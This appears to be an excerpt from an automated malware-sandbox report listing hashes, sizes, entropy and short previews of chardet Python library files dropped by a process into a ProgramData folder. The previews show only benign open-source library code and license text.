Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3839
Entropy (8bit):	4.452953563997799
Encrypted:	false
SSDEEP:	96:vst17u40JbBxS8EBpSL7eQXa3hgX+IFWXqjuAuYKKv:kt17u48LHNfeFwZ
MD5:	E7F08780A8FB42F77C61315AD721763F
SHA1:	10E9716409D7710FA9C3950B485C8A14576A7EE0
SHA-256:	1992D17873FA151467E3786F48EA060B161A984ACACF2A7A460390C55782DE48
SHA-512:	DC53994C455B281114DCD1307C11CC69FD41912FBBB033B5A59DD331A7F9633738B8871E489C3CECC56230D6781E6038FA6BE5E131D38B7C54B794CA6063832D
Malicious:	false
Preview:	######################## BEGIN LICENSE BLOCK ########################.# The Original Code is Mozilla Communicator client code..#.# The Initial Developer of the Original Code is.# Netscape Communications Corporation..# Portions created by the Initial Developer are Copyright (C) 1998.# the Initial Developer. All Rights Reserved..#.# Contributor(s):.# Mark Pilgrim - port to Python.#.# This library is free software; you can redistribute it and/or.# modify it under the terms of the GNU Lesser General Public.# License as published by the Free Software Foundation; either.# version 2.1 of the License, or (at your option) any later version..#.# This library is distributed in the hope that it will be useful,.# but WITHOUT ANY WARRANTY; without even the implied warranty of.# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU.# Lesser General Public License for more details..#.# You should have received a copy of the GNU Lesser General Public.# License along with this library; if

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\charsetprober.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5110
Entropy (8bit):	4.607059113006975
Encrypted:	false
SSDEEP:	96:Ptzcu40B0KIYY6PG/Gyf0LGszdQjq/qbRAdkvSQ0B8E:Ptzcu4lKHuizdQdG
MD5:	A257430E4394E805107C519BA417C3D4
SHA1:	4CAC3F02D5FDAA8776B49966206247ACD3BD151E
SHA-256:	2929B0244AE3CA9CA3D1B459982E45E5E33B73C61080B6088D95E29ED64DB2D8
SHA-512:	EEE24BB77D3F2981C15BA577FBDD2A092A3A786B8CE99B56D204214C737B8EBA2CD380E8FBC10CC9BD758C949A79626912B57482EE099EA0E43448DCE295BE37
Malicious:	false
Preview:	######################## BEGIN LICENSE BLOCK ########################.# The Original Code is Mozilla Universal charset detector code..#.# The Initial Developer of the Original Code is.# Netscape Communications Corporation..# Portions created by the Initial Developer are Copyright (C) 2001.# the Initial Developer. All Rights Reserved..#.# Contributor(s):.# Mark Pilgrim - port to Python.# Shy Shalom - original C code.#.# This library is free software; you can redistribute it and/or.# modify it under the terms of the GNU Lesser General Public.# License as published by the Free Software Foundation; either.# version 2.1 of the License, or (at your option) any later version..#.# This library is distributed in the hope that it will be useful,.# but WITHOUT ANY WARRANTY; without even the implied warranty of.# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU.# Lesser General Public License for more details..#.# You should have received a copy of the GNU Lesser General Publi

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\cli\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:v:v
MD5:	68B329DA9893E34099C7D8AD5CB9C940
SHA1:	ADC83B19E793491B1C6EA0FD8B46CD9F32E592FC
SHA-256:	01BA4719C80B6FE911B091A7C05124B64EEECE964E09C058EF8F9805DACA546B
SHA-512:	BE688838CA8686E5C90689BF2AB585CEF1137C999B48C70B92F67A5C34DC15697B5D11C982ED6D71BE1E1E7F7B4E0733884AA97C3F7A339A8ED03577CF74BE09
Malicious:	false
Preview:	.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\cli\chardetect.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2711
Entropy (8bit):	4.411874613721609
Encrypted:	false
SSDEEP:	48:Ono2sJX3o8g2zwYV+714Vl/7H1vbbxEJPzFN2+jRYNvexZgOa1:uo9o8jwLCTFPyPxNBja+qOM
MD5:	B881B0F0856FDC622FD7435E6F35ACE1
SHA1:	CF118AF9F5BD309964839FE3DD147790C65A4BA6
SHA-256:	9143DE4028BEA2539B5E93AAE4CB652AE067D44535F6B91E7A700CC3197B5116
SHA-512:	6952F825F8A6DF3847711B4C2BA3EFB4E309F4AB6FB7D2EDCB5F5FBC59568259D6961DC7D66A4DE487F311C53FED430A1C1009305B3EC08AB8A9F3451103EF06
Malicious:	false
Preview:	""".Script which takes one or more file paths and reports on their detected.encodings..Example::.. % chardetect somefile someotherfile. somefile: windows-1252 with confidence 0.5. someotherfile: ascii with confidence 1.0..If no paths are provided, it takes its input from stdin..."""..from __future__ import absolute_import, print_function, unicode_literals..import argparse.import sys..from chardet import __version__.from chardet.compat import PY2.from chardet.universaldetector import UniversalDetector...def description_of(lines, name='stdin'):. """. Return a string describing the probable encoding of a file or. list of strings... :param lines: The lines to get the encoding of.. :type lines: Iterable of bytes. :param name: Name of file or collection of lines. :type name: str. """. u = UniversalDetector(). for line in lines:. line = bytearray(line). u.feed(line). # shortcut out of the loop to save reading further - particularly u

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\codingstatemachine.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3590
Entropy (8bit):	4.62398833547819
Encrypted:	false
SSDEEP:	96:Kt17u4ZvK9RfAbiAgdoWnS38L8oxInSOrM+l84bMSmg0:Kt17u4dK9Re2y+wodj+0
MD5:	33C5E712BAD7523F996BFA09D85EB5BF
SHA1:	3E2B59C552B7E985F2EFEE068ABA34A0C7938409
SHA-256:	558A7FE9CCB2922E6C1E05C34999D75B8AB5A1E94773772EF40C904D7EEEBA0F
SHA-512:	CC5CAD5F2E7BAE182FAA81CEEB8FB780883B528E4858A9708A07DFB1C2D7C09819C2699013FAD7FFC5AF09903DA3C86EE1C31CEBC61E555C45C1E0D517ACF399
Malicious:	false
Preview:	######################## BEGIN LICENSE BLOCK ########################.# The Original Code is mozilla.org code..#.# The Initial Developer of the Original Code is.# Netscape Communications Corporation..# Portions created by the Initial Developer are Copyright (C) 1998.# the Initial Developer. All Rights Reserved..#.# Contributor(s):.# Mark Pilgrim - port to Python.#.# This library is free software; you can redistribute it and/or.# modify it under the terms of the GNU Lesser General Public.# License as published by the Free Software Foundation; either.# version 2.1 of the License, or (at your option) any later version..#.# This library is distributed in the hope that it will be useful,.# but WITHOUT ANY WARRANTY; without even the implied warranty of.# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU.# Lesser General Public License for more details..#.# You should have received a copy of the GNU Lesser General Public.# License along with this library; if not, write to th

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\compat.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1200
Entropy (8bit):	4.868809040509225
Encrypted:	false
SSDEEP:	24:GXN807yRiyUVOkH/HqTbVB+HzC0GAaM0RmWeqQo:D0uwyUjHSqCjAaMom/qz
MD5:	EBCC3FE46560E1E5C7CA6E347780A828
SHA1:	F229B8B6C252A0ECA565CC8601ABF090AE0EF818
SHA-256:	E34CEBEB0202670927C72B8B18670838FCAF7BC0D379B0426DBBEDB6F9E6A794
SHA-512:	6F1DAA1D2B4C00D001F9EB320479D7C2E84DCBFE8DEDFCACF84A4A3FF82105C17DED710B3E446159D62219E088F098A344032AE2AEC7A90EC811FB09507D4285
Malicious:	false
Preview:	######################## BEGIN LICENSE BLOCK ########################.# Contributor(s):.# Dan Blanchard.# Ian Cordasco.#.# This library is free software; you can redistribute it and/or.# modify it under the terms of the GNU Lesser General Public.# License as published by the Free Software Foundation; either.# version 2.1 of the License, or (at your option) any later version..#.# This library is distributed in the hope that it will be useful,.# but WITHOUT ANY WARRANTY; without even the implied warranty of.# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU.# Lesser General Public License for more details..#.# You should have received a copy of the GNU Lesser General Public.# License along with this library; if not, write to the Free Software.# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA.# 02110-1301 USA.######################### END LICENSE BLOCK #########################..import sys...if sys.version_info < (3, 0):. PY2 = True. PY3 = False. s

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\cp949prober.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1855
Entropy (8bit):	4.9674061820096185
Encrypted:	false
SSDEEP:	24:Pixsiaiq5E807yRiyUVOkH/HqTbVB+HDsZRuHwAysvOawK:Kx/1ef0uwyUjHSEWIHwRowK
MD5:	EAC9F36E937956F46F3E4C37F9CD7D76
SHA1:	5E1E40B592AB5BADAEBEE6D1CB845F34475BBEED
SHA-256:	4D9E37E105FCCF306C9D4BCBFFCC26E004154D9D9992A10440BFE5370F5FF68C
SHA-512:	429A0E8A95E7B0A00DC5CF08F6A19D9CAAA94B9D27443110EEFCCF5E7E6891983409D447187209D630FB21AD52D719AE0DD2F95F0274D7D0207C9F608D2EE08B
Malicious:	false
Preview:	######################## BEGIN LICENSE BLOCK ########################.# The Original Code is mozilla.org code..#.# The Initial Developer of the Original Code is.# Netscape Communications Corporation..# Portions created by the Initial Developer are Copyright (C) 1998.# the Initial Developer. All Rights Reserved..#.# Contributor(s):.# Mark Pilgrim - port to Python.#.# This library is free software; you can redistribute it and/or.# modify it under the terms of the GNU Lesser General Public.# License as published by the Free Software Foundation; either.# version 2.1 of the License, or (at your option) any later version..#.# This library is distributed in the hope that it will be useful,.# but WITHOUT ANY WARRANTY; without even the implied warranty of.# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU.# Lesser General Public License for more details..#.# You should have received a copy of the GNU Lesser General Public.# License along with this library; if not, write to th

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\enums.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1661
Entropy (8bit):	4.918641425002419
Encrypted:	false
SSDEEP:	24:uKNXveYMIUPhNkBFbFWd/YMSj6YML1ShnccagRxdI5rLGkC6P:F9ve9j1d/sWChnpayXkZ
MD5:	754EAD831ACB9BA0C2E768243ADA5DA2
SHA1:	2EAF9CADC33CD208A4A0378158A07FEA397F6A91
SHA-256:	0229B075BF5AB357492996853541F63A158854155DE9990927F58AE6C358F1C5
SHA-512:	529BE8C6A49A533549DB8B41D1118F5D77780F167259095F92D8F11C5AF09039C7BB110BB56A0C6F5151174418293BA8C2D7AC2BB666B7F723160E9F066D5AA1
Malicious:	false
Preview:	""".All of the Enums that are used throughout the chardet package...:author: Dan Blanchard (dan.blanchard@gmail.com)."""...class InputState(object):. """. This enum represents the different states a universal detector can be in.. """. PURE_ASCII = 0. ESC_ASCII = 1. HIGH_BYTE = 2...class LanguageFilter(object):. """. This enum represents the different language filters we can apply to a. ``UniversalDetector``.. """. CHINESE_SIMPLIFIED = 0x01. CHINESE_TRADITIONAL = 0x02. JAPANESE = 0x04. KOREAN = 0x08. NON_CJK = 0x10. ALL = 0x1F. CHINESE = CHINESE_SIMPLIFIED \| CHINESE_TRADITIONAL. CJK = CHINESE \| JAPANESE \| KOREAN...class ProbingState(object):. """. This enum represents the different states a prober can be in.. """. DETECTING = 0. FOUND_IT = 1. NOT_ME = 2...class MachineState(object):. """. This enum represents the different states a state machine can be in.. """. START = 0. ERROR = 1. ITS_ME = 2...c

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\escprober.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3950
Entropy (8bit):	4.7144135499229085
Encrypted:	false
SSDEEP:	96:Kt17u4Abi3JGELunBiIn349ZX6HL6awXaUAsk2n:Kt17u4Abi51LuIIn34P6eaaV
MD5:	A43AE497CCD0D98F53E4F2E7EF5250E2
SHA1:	3F5C243F912E8E14DF288F356403A5D920159B3E
SHA-256:	924CAA560D58C370C8380309D9B765C9081415086E1C05BC7541AC913A0D5927
SHA-512:	54A4091F88901E96742A935EB6D8A18A6463B00234AD3B5A10A41376EB3AD9750E489BC782EC741BD0FAB242B3C3D84A549CA1DEEB8547AE0999A21E219C6F78
Malicious:	false
Preview:	######################## BEGIN LICENSE BLOCK ########################.# The Original Code is mozilla.org code..#.# The Initial Developer of the Original Code is.# Netscape Communications Corporation..# Portions created by the Initial Developer are Copyright (C) 1998.# the Initial Developer. All Rights Reserved..#.# Contributor(s):.# Mark Pilgrim - port to Python.#.# This library is free software; you can redistribute it and/or.# modify it under the terms of the GNU Lesser General Public.# License as published by the Free Software Foundation; either.# version 2.1 of the License, or (at your option) any later version..#.# This library is distributed in the hope that it will be useful,.# but WITHOUT ANY WARRANTY; without even the implied warranty of.# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU.# Lesser General Public License for more details..#.# You should have received a copy of the GNU Lesser General Public.# License along with this library; if not, write to th

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\escsm.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	10510
Entropy (8bit):	4.816326627010161
Encrypted:	false
SSDEEP:	192:Kt17u42Uiw4c0gE4999/M///eeeVe//97PPnxJRae99999M0f/9999g//////N/J:6u4v0FArwa1l
MD5:	9C3BAAFEFA516EA1EEFCB03593C8CB1D
SHA1:	B6AE3D309926B691E6E8BE5DF7E9EC7E22DDAF62
SHA-256:	46E5E580DBD32036AB9DDBE594D0A4E56641229742C50D2471DF4402EC5487CE
SHA-512:	FFA57445FC50ABE5B6ECDF8B5EFDD96A97D1C068E8140D36A2755D9095AEB11FD826848E4B54F6183E0B5775AE4B7A2074D997185A23B34CAEA5F4BF1C80A035
Malicious:	false
Preview:	######################## BEGIN LICENSE BLOCK ########################.# The Original Code is mozilla.org code..#.# The Initial Developer of the Original Code is.# Netscape Communications Corporation..# Portions created by the Initial Developer are Copyright (C) 1998.# the Initial Developer. All Rights Reserved..#.# Contributor(s):.# Mark Pilgrim - port to Python.#.# This library is free software; you can redistribute it and/or.# modify it under the terms of the GNU Lesser General Public.# License as published by the Free Software Foundation; either.# version 2.1 of the License, or (at your option) any later version..#.# This library is distributed in the hope that it will be useful,.# but WITHOUT ANY WARRANTY; without even the implied warranty of.# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU.# Lesser General Public License for more details..#.# You should have received a copy of the GNU Lesser General Public.# License along with this library; if not, write to th

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\eucjpprober.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3749
Entropy (8bit):	4.731931768516198
Encrypted:	false
SSDEEP:	96:Kt17u493gzxj6HtQyylEl+s/rRWTIIRpB:Kt17u493y56ie4z
MD5:	7FCBC25522B5FB00AD88D12E86022F16
SHA1:	F583D01EA725D06785A47BE5AA47A9586CB4E843
SHA-256:	883F09769D084918E08E254DEDFD1EF3119E409E46336A1E675740F276D2794C
SHA-512:	6C84F3B62F696C19CEC04CF795D7379D423B5B37FCCD3F94D5670AEE6361B424BF3B943B77E08C5DEF0296B4E1437501648F495437B2D38182DB9CA4AE1CD437
Malicious:	false
Preview:	######################## BEGIN LICENSE BLOCK ########################.# The Original Code is mozilla.org code..#.# The Initial Developer of the Original Code is.# Netscape Communications Corporation..# Portions created by the Initial Developer are Copyright (C) 1998.# the Initial Developer. All Rights Reserved..#.# Contributor(s):.# Mark Pilgrim - port to Python.#.# This library is free software; you can redistribute it and/or.# modify it under the terms of the GNU Lesser General Public.# License as published by the Free Software Foundation; either.# version 2.1 of the License, or (at your option) any later version..#.# This library is distributed in the hope that it will be useful,.# but WITHOUT ANY WARRANTY; without even the implied warranty of.# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU.# Lesser General Public License for more details..#.# You should have received a copy of the GNU Lesser General Public.# License along with this library; if not, write to th

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\euckrfreq.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	13546
Entropy (8bit):	4.072619899441131
Encrypted:	false
SSDEEP:	192:kt17u4FdvXtmWt5mYt8EkFiTPJ1CTgEdCJz0ZUnYP+smG1tBLC/lGMwxpppHg:8u4vfQgJ8EkYTPJ+dtZggIG5L8G5RpHg
MD5:	FC74D266C33CB05F1ECD53EC517EC462
SHA1:	F92F0B57596EC180FB1505D3B3B966F07D61DFAA
SHA-256:	FBB19D9AF8167B3E3E78EE12B97A5AEED0620E2E6F45743C5AF74503355A49FA
SHA-512:	4D3AA23B3F95EFE49A8F2201FFEA90154264BF545F70B96B8AB2F2481D74514244C82B076EB4C616962243EE40D2EBAD2BB66154FBDABCE0E739DBD3883A16AD
Malicious:	false
Preview:	######################## BEGIN LICENSE BLOCK ########################.# The Original Code is Mozilla Communicator client code..#.# The Initial Developer of the Original Code is.# Netscape Communications Corporation..# Portions created by the Initial Developer are Copyright (C) 1998.# the Initial Developer. All Rights Reserved..#.# Contributor(s):.# Mark Pilgrim - port to Python.#.# This library is free software; you can redistribute it and/or.# modify it under the terms of the GNU Lesser General Public.# License as published by the Free Software Foundation; either.# version 2.1 of the License, or (at your option) any later version..#.# This library is distributed in the hope that it will be useful,.# but WITHOUT ANY WARRANTY; without even the implied warranty of.# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU.# Lesser General Public License for more details..#.# You should have received a copy of the GNU Lesser General Public.# License along with this library; if

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\euckrprober.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	4.9856800780876736
Encrypted:	false
SSDEEP:	24:Pixsiaiq5E807yRiyUVOkH/HqTbVB+HWRTmjrsBATsDaMK:Kx/1ef0uwyUjHSvojrsBc7MK
MD5:	35C9C358A1F2554B15382675B680CB38
SHA1:	17A570BA185BF5BAC0B670932D3EA74376E19F7B
SHA-256:	32A14C4D05F15B81DBCC8A59F652831C1DC637C48FE328877A74E67FC83F3F16
SHA-512:	341BA6EC350ED7212AA2E77DADE00297100CFFB9650871025E4B798B1522055CCD41BA1919AA577B6716AB4A4B8AFED806BCCE0E35D9B97FB2413385750CE853
Malicious:	false
Preview:	######################## BEGIN LICENSE BLOCK ########################.# The Original Code is mozilla.org code..#.# The Initial Developer of the Original Code is.# Netscape Communications Corporation..# Portions created by the Initial Developer are Copyright (C) 1998.# the Initial Developer. All Rights Reserved..#.# Contributor(s):.# Mark Pilgrim - port to Python.#.# This library is free software; you can redistribute it and/or.# modify it under the terms of the GNU Lesser General Public.# License as published by the Free Software Foundation; either.# version 2.1 of the License, or (at your option) any later version..#.# This library is distributed in the hope that it will be useful,.# but WITHOUT ANY WARRANTY; without even the implied warranty of.# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU.# Lesser General Public License for more details..#.# You should have received a copy of the GNU Lesser General Public.# License along with this library; if not, write to th

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\euctwfreq.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	31621
Entropy (8bit):	3.8933123222030295
Encrypted:	false
SSDEEP:	768:8u4fWnmUAziXRa7ZLTQAg0ljyeZCN04skmj22bgBXrgb/QWA4Pcvx:8dAbheZIANZyV04s7XbgBXrgRPcJ
MD5:	F22F9B84302F594271169463DF2C2ADC
SHA1:	1FE6190636462E94488B056A56770C84D48F3370
SHA-256:	368D56C9DB853A00795484D403B3CBC82E6825137347231B07168A235975E8C0
SHA-512:	A1C424421B90AE8D889C20DF9C2B7402502C81BBFB2EBCA6482FE076FA6E9C99C4062618A1BB866AB58652EB13CEB3A16B21673B85E252A9B8B34E1766E0128A
Malicious:	false
Preview:	######################## BEGIN LICENSE BLOCK ########################.# The Original Code is Mozilla Communicator client code..#.# The Initial Developer of the Original Code is.# Netscape Communications Corporation..# Portions created by the Initial Developer are Copyright (C) 1998.# the Initial Developer. All Rights Reserved..#.# Contributor(s):.# Mark Pilgrim - port to Python.#.# This library is free software; you can redistribute it and/or.# modify it under the terms of the GNU Lesser General Public.# License as published by the Free Software Foundation; either.# version 2.1 of the License, or (at your option) any later version..#.# This library is distributed in the hope that it will be useful,.# but WITHOUT ANY WARRANTY; without even the implied warranty of.# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU.# Lesser General Public License for more details..#.# You should have received a copy of the GNU Lesser General Public.# License along with this library; if

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\euctwprober.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1747
Entropy (8bit):	4.986618421486693
Encrypted:	false
SSDEEP:	24:Pixsiaiq5E807yRiyUVOkH/HqTbVB+HWRT8j8Afs/ba8Xy:Kx/1ef0uwyUjHSv640H8Xy
MD5:	BA6A1374A470177EC21C4E1528E23F5B
SHA1:	F6ECD5D34962A5B81B71BDC40B140D553A0C120E
SHA-256:	D77A7A10FE3245AC6A9CFE221EDC47389E91DB3C47AB5FE6F214D18F3559F797
SHA-512:	444E6AD68079ECC0AA10330638B1B8FA632BD111CB63DEF3BDA2673A69C0F1E77374342F7D7581EFF98221E320A36D1A65DE265F03E3FF009FE0DD4045C941CC
Malicious:	false
Preview:	######################## BEGIN LICENSE BLOCK ########################.# The Original Code is mozilla.org code..#.# The Initial Developer of the Original Code is.# Netscape Communications Corporation..# Portions created by the Initial Developer are Copyright (C) 1998.# the Initial Developer. All Rights Reserved..#.# Contributor(s):.# Mark Pilgrim - port to Python.#.# This library is free software; you can redistribute it and/or.# modify it under the terms of the GNU Lesser General Public.# License as published by the Free Software Foundation; either.# version 2.1 of the License, or (at your option) any later version..#.# This library is distributed in the hope that it will be useful,.# but WITHOUT ANY WARRANTY; without even the implied warranty of.# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU.# Lesser General Public License for more details..#.# You should have received a copy of the GNU Lesser General Public.# License along with this library; if not, write to th

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\gb2312freq.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	20715
Entropy (8bit):	3.934954005362253
Encrypted:	false
SSDEEP:	384:8u4UnDMKZJsgZwUfIp3Gy/7IJaGDO4Pd6yFapYgEMke0eapNvVqr:8u4UDMwJhZwUfE3G3jDFapzEMOhVU
MD5:	855D0A3B3FE3F931EB7D4A3F77E9F349
SHA1:	BF8051DEF4AF0BF4B04AD3C997A64A356D2EFECB
SHA-256:	257F25B3078A2E69C2C2693C507110B0B824AFFACFFE411BBE2BC2E2A3CEAE57
SHA-512:	4EA7F01BB64244684BB1CB7BF92B24E6D45DF92B2B8957FFE8198BE569F5862B9666806F355599ED5CAE0CEB655797F90DD4569BAE210F89CDFB15509CBB4B9E
Malicious:	false
Preview:	######################## BEGIN LICENSE BLOCK ########################.# The Original Code is Mozilla Communicator client code..#.# The Initial Developer of the Original Code is.# Netscape Communications Corporation..# Portions created by the Initial Developer are Copyright (C) 1998.# the Initial Developer. All Rights Reserved..#.# Contributor(s):.# Mark Pilgrim - port to Python.#.# This library is free software; you can redistribute it and/or.# modify it under the terms of the GNU Lesser General Public.# License as published by the Free Software Foundation; either.# version 2.1 of the License, or (at your option) any later version..#.# This library is distributed in the hope that it will be useful,.# but WITHOUT ANY WARRANTY; without even the implied warranty of.# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU.# Lesser General Public License for more details..#.# You should have received a copy of the GNU Lesser General Public.# License along with this library; if

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\gb2312prober.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1754
Entropy (8bit):	5.003388925716946
Encrypted:	false
SSDEEP:	24:Pixsiaiq5E807yRiyUVOkH/HqTbVB+HWRTl4VAQsfaonD:Kx/1ef0uwyUjHSvr4FXqD
MD5:	E9B4EABD5CDA31D434F10B7299B4B47E
SHA1:	BC2518F812EEF5713556D847B933230C00BB22D4
SHA-256:	806BC85A2F568438C4FB14171EF348CAB9CBBC46CC01883251267AE4751FCA5C
SHA-512:	07D13ED4B7830FA3FB96B9BB7BD0387B55D5AE4AA83809F04212B4F4F4E574B39017744A522F4AEDD6F1DA26ECDA1CF5F960E011DC677A1D13A670D23F0CCE8C
Malicious:	false
Preview:	######################## BEGIN LICENSE BLOCK ########################.# The Original Code is mozilla.org code..#.# The Initial Developer of the Original Code is.# Netscape Communications Corporation..# Portions created by the Initial Developer are Copyright (C) 1998.# the Initial Developer. All Rights Reserved..#.# Contributor(s):.# Mark Pilgrim - port to Python.#.# This library is free software; you can redistribute it and/or.# modify it under the terms of the GNU Lesser General Public.# License as published by the Free Software Foundation; either.# version 2.1 of the License, or (at your option) any later version..#.# This library is distributed in the hope that it will be useful,.# but WITHOUT ANY WARRANTY; without even the implied warranty of.# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU.# Lesser General Public License for more details..#.# You should have received a copy of the GNU Lesser General Public.# License along with this library; if not, write to th

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\hebrewprober.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	13838
Entropy (8bit):	4.719327774455086
Encrypted:	false
SSDEEP:	192:Ppf7u4TcWpp0mOJBucQcy4z3lnTB3H19S/egaFTLDVQMfeuVnuK3Ho:Bu4TcWppLIyclnTB3H19SWhLkao
MD5:	EE487DF69E219E2AF034E50ED27F6E99
SHA1:	07093CA2075F52D3D07B399A52F4A7491928FB1C
SHA-256:	737499F8AEE1BF2CC663A251019C4983027FB144BD93459892F318D34601605A
SHA-512:	AEB7BAF2A418B535916ECDEA1A295A5303107A29FA7666C8E6130BC5E80C195A08CD17F5E83D4C9EBE40C0C7F77F8514DB7BE9D063D6D26C6F0E5AED198346D8
Malicious:	false
Preview:	######################## BEGIN LICENSE BLOCK ########################.# The Original Code is Mozilla Universal charset detector code..#.# The Initial Developer of the Original Code is.# Shy Shalom.# Portions created by the Initial Developer are Copyright (C) 2005.# the Initial Developer. All Rights Reserved..#.# Contributor(s):.# Mark Pilgrim - port to Python.#.# This library is free software; you can redistribute it and/or.# modify it under the terms of the GNU Lesser General Public.# License as published by the Free Software Foundation; either.# version 2.1 of the License, or (at your option) any later version..#.# This library is distributed in the hope that it will be useful,.# but WITHOUT ANY WARRANTY; without even the implied warranty of.# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU.# Lesser General Public License for more details..#.# You should have received a copy of the GNU Lesser General Public.# License along with this library; if not, write

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\jisfreq.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	25777
Entropy (8bit):	3.937817597776383
Encrypted:	false
SSDEEP:	768:8u4e1Pw/tan6GGY/XTTd1SuqmsEn5nxo+1E:8FVanVGYf27E5nxov
MD5:	34BE526E85A890AF4C0C38DF38D56B71
SHA1:	12A38AC0C60C3F5A8756A9E03EE74A22C9B481C0
SHA-256:	BE9989BF606ED09F209CC5513C730579F4D1BE8FE16B59ABC8B8A0F0207080E8
SHA-512:	32C352C308F8956D8FC012C31C523937657F8CD86CC7A1DEE3C11E5770CB892138FD5DD810DD59AF8F1E7ADD6178B5CC06B085FC385BA6F8B3CA3035EE4759D3
Malicious:	false
Preview:	######################## BEGIN LICENSE BLOCK ########################.# The Original Code is Mozilla Communicator client code..#.# The Initial Developer of the Original Code is.# Netscape Communications Corporation..# Portions created by the Initial Developer are Copyright (C) 1998.# the Initial Developer. All Rights Reserved..#.# Contributor(s):.# Mark Pilgrim - port to Python.#.# This library is free software; you can redistribute it and/or.# modify it under the terms of the GNU Lesser General Public.# License as published by the Free Software Foundation; either.# version 2.1 of the License, or (at your option) any later version..#.# This library is distributed in the hope that it will be useful,.# but WITHOUT ANY WARRANTY; without even the implied warranty of.# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU.# Lesser General Public License for more details..#.# You should have received a copy of the GNU Lesser General Public.# License along with this library; if

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\jpcntx.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19643
Entropy (8bit):	3.752207229692923
Encrypted:	false
SSDEEP:	384:8u4uzUSmG2Z94gNDp94q0p+Ory6SrE/KWVB7DWGgIYe0OfpOHbOoQFI0j73x8QrN:8u4I
MD5:	09BDB0C4F23A05CFEEB4F498F8B19D96
SHA1:	B6332D34D3820C06E07EB31AB68A22B5365882AA
SHA-256:	3D894DA915104FC2CCDDC4F91661C63F48A2B1C1654D6103F763002EF06E9E0A
SHA-512:	F3393FF0BE901392F905B17B5E53EFBDDA5626DAE62A557F71EBA9C5078ED30D167C0D801D5DB93BA060AD58909B8A2916BCE700B982D7CBBC6A30C102CFA51B
Malicious:	false
